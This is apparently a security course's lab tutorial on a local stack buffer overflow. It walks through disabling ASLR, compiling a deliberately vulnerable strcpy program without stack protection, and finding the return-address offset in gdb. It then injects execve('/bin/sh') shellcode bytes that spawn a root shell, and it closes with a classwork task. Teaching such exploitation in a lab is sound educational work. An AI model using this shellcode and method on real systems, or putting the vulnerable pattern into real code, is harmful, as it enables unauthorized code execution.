Buffer Overflows

Introduction

Buffer overflow vulnerabilities used to be extremely common in software. These days they are getting more and more difficult to exploit. There tend to be fewer of these vulnerabilities found in higher profile software projects, but they still do happen, especially in IoT devices, where kernel and compiler features are not as sophisticated. Learning how to exploit these vulnerabilities is, regardless, a very good place to start to learn to hack.

Setup

In order to run this tutorial, you will need to disable stack randomization. Follow the directions for your specific environment. It is imperative that you do this step, otherwise the attack will be practically impossible as presented here. You are encouraged to ask staff for help if you have any questions.
* Vicious: this is already done for you
* OSX: run the following command in the terminal of your container (not the terminal of your host)
* Linux (including Windows with a VM): run the following command in ther terminal of your Linux host (or vm).

sysctl -w kernel.randomize_va_space=0

This will make your machine (marginally) more vulnerable to attackers, but when you reboot it, everything will go back to normal.

Tutorial

This tutorial will walk you through a simple, local stack-based buffer overflow example. Below is a short program, vulnerable.c, that mis-manages memory:

$ cat vulnerable.c 
#include <stdio.h>
#include <string.h>

void foo (char *arg) {
  char buffer[64];
  strcpy(buffer, arg);
}

int main(int argc, char *argv[]) {
  foo(argv[1]);
  return(0);
}

The program's input is a single argument. It copies the contents of that argument into a 64-byte buffer. First compile this program as shown below.

$ gcc -g -Wall -fno-stack-protector -z execstack -o vulnerable vulnerable.c

The complex gcc flags are necessary to allow stack-based exploitation on modern kernels. The program really doesn't do anything, but you can verify that it is in fact vulnerable with a simple command:

$ ./vulnerable `ruby -e 'print "A"*80'`
Segmentation fault

Now run the program through GDB, and pay close attention to the return address of foo (the value listed under saved rip).

$ gdb -q --args ./vulnerable `ruby -e 'print "A"*80'`
Reading symbols from ./vuln...
(gdb) b foo
Breakpoint 1 at 0x1141: file vuln.c, line 6.
(gdb) r
Starting program: /root/vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
warning: Error disabling address space randomization: Operation not permitted


Breakpoint 1, foo (arg=0x7fffffffeeec 'A' <repeats 80 times>) at vuln.c:6
6         strcpy(buffer, arg);
(gdb) i f
Stack level 0, frame at 0x7fffffffec20:
rip = 0x555555555141 in foo (vuln.c:6); saved rip = 0x555555555179
called by frame at 0x7fffffffec40
source language c.
Arglist at 0x7fffffffec10, args: arg=0x7fffffffeeec 'A' <repeats 80 times>
Locals at 0x7fffffffec10, Previous frame's sp is 0x7fffffffec20
Saved registers:
rbp at 0x7fffffffec10, rip at 0x7fffffffec18
(gdb) n
7       }
(gdb) i f
Stack level 0, frame at 0x7fffffffec20:
rip = 0x555555555154 in foo (vuln.c:7); saved rip = 0x4141414141414141
called by frame at 0x7fffffffec28
source language c.
Arglist at 0x7fffffffec10, args: arg=0x7fffffffeeec 'A' <repeats 80 times>
Locals at 0x7fffffffec10, Previous frame's sp is 0x7fffffffec20
Saved registers:
rbp at 0x7fffffffec10, rip at 0x7fffffffec18
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x0000555555555156 in foo (arg=0x7fffffffeeec 'A' <repeats 80 times>) at vuln.c:7
7       }

Looking at the new return address, we can see something strange has happened. While the original address was 6 bytes, this one appears to be 8. This is due to the fact that the address space on x86_64 is only 48-bit, despite almost everything else being 64-bit. This presents an issue: we need to get the payload length exactly correct so as not to overwrite the highest two bytes of the return address. Let's try reducing that length now to see what happens.

$ gdb -q --args ./vuln `ruby -e 'print "A"*76'`
Reading symbols from ./vuln...
(gdb) b foo
Breakpoint 1 at 0x1141: file vuln.c, line 6.
(gdb) r
Starting program: /root/vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
warning: Error disabling address space randomization: Operation not permitted

Breakpoint 1, foo (arg=0x7fffffffeef0 'A' <repeats 76 times>) at vuln.c:6
6         strcpy(buffer, arg);
(gdb) n
7       }
(gdb) i f
Stack level 0, frame at 0x7fffffffec20:
rip = 0x555555555154 in foo (vuln.c:7); saved rip = 0x550041414141
called by frame at 0x7fffffffec28
source language c.
Arglist at 0x7fffffffec10, args: arg=0x7fffffffeef0 'A' <repeats 76 times>
Locals at 0x7fffffffec10, Previous frame's sp is 0x7fffffffec20
Saved registers:
rbp at 0x7fffffffec10, rip at 0x7fffffffec18

Now the A's are only covering the first 4 bytes of the address. This confirms that we calculated the location of the return pointer correctly. Now, it's time to add the remaining two bytes to our input.

$ gdb -q --args ./vuln `ruby -e 'print "A"*78'`
Reading symbols from ./vuln...
(gdb) b foo
Breakpoint 1 at 0x1141: file vuln.c, line 6.
(gdb) r
Starting program: /root/vuln AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
warning: Error disabling address space randomization: Operation not permitted

Breakpoint 1, foo (arg=0x7fffffffeeee 'A' <repeats 78 times>) at vuln.c:6
6         strcpy(buffer, arg);
(gdb) i f
Stack level 0, frame at 0x7fffffffec20:
rip = 0x555555555141 in foo (vuln.c:6); saved rip = 0x555555555179
called by frame at 0x7fffffffec40
source language c.
Arglist at 0x7fffffffec10, args: arg=0x7fffffffeeee 'A' <repeats 78 times>
Locals at 0x7fffffffec10, Previous frame's sp is 0x7fffffffec20
Saved registers:
rbp at 0x7fffffffec10, rip at 0x7fffffffec18
(gdb) n
7       }
(gdb) i f
Stack level 0, frame at 0x7fffffffec20:
rip = 0x555555555154 in foo (vuln.c:7); saved rip = 0x414141414141
called by frame at 0x7fffffffec28
source language c.
Arglist at 0x7fffffffec10, args: arg=0x7fffffffeeee 'A' <repeats 78 times>
Locals at 0x7fffffffec10, Previous frame's sp is 0x7fffffffec20
Saved registers:
rbp at 0x7fffffffec10, rip at 0x7fffffffec18

Good. Now we can see that the overwritten address is the right length. Since 78 was the magic length to make this work, and the last 6 bytes are required by the overwritten return address, we know that our payload must fit in the remaining 72 bytes. Fortunately, the shellcode we wrote in the shellcode lab will fit. We begin by inspecting the shellcode and realizing that it is 53 bytes. Since we need to fill all of the 72 bytes in the payload, let's prepend the shellcode with nop instructions. This will allow us to jump anywhere in the nops while still allowing the shellcode to execute.

$ ruby -e 'print "\x90"*19' > payload.bin

$ printf "\x48\x8d\x3d\xff\xff\xff\xff\x48\x83\xc7\x28\x48\x31\xc0\x88\x47\x07\x48\x89\x7f\x08\x48\x89\x47\x10\x48\x89\xc2\x48\x8d\x77\x08\x04\x3b\x0f\x05\x48\x31\xff\x48\x31\xc0\x04\x3c\x0f\x05/bin/sh" >> payload.bin

Now, all that's left is to provide the return address for the shellcode. We don't know its address, but we can find it easily using gdb.

$ gdb -q --args ./vulnerable `cat payload.bin`
Reading symbols from vulnerable...
(gdb) b foo
Breakpoint 1 at 0x1141: file vulnerable.c, line 6.
(gdb) r
Starting program: /root/vulnerable 
warning: Error disabling address space randomization: Operation not permitted

Breakpoint 1, foo (arg=0x0) at vulnerable.c:6
6         strcpy(buffer, arg);
(gdb) print &buffer
$2 = (char (*)[64]) 0x7fff1f8576f0

We can add the address to the payload file like we did the shellcode, but we have to observe the endianness of x86_64 and reverse the order of the bytes (your address will be different).

$ printf "\xf0\x76\x85\x1f\xff\x7f" >> payload.bin

Now, everything should be set up for the exploit to work. Let's try it!

$ gdb -q vulnerable
Reading symbols from vulnerable...
(gdb) run `cat payload.bin`
Starting program: /root/vulnerable `cat payload.bin`
warning: Error disabling address space randomization: Operation not permitted
process 186 is executing new program: /usr/bin/dash
#

Success! foo returned to the location of the shellcode in memory and execution resumed as normal. Exiting the shell allows vulnerable to exit normally.
You should try running the above, but step through the assembly using gdb to see what is happening. If you followed the directions exactly, you should see that you didn't actually jump to the beginning of the shellcode, but one of the nop's. Why?
You should also try running this outside of GDB. You'll see that it doesn't work, and that's because the actual address of buffer is different when not debugging.

Classwork

Get this same exploit to work outside of GDB. You can edit the source code to include something like a printf to help you modify the payload, but your final exploit must be against the provided vulnerable program with no modifications.

For submission, show some screenshots of how the exploit works outside GDB, and with a few command executions to show it is a real shell.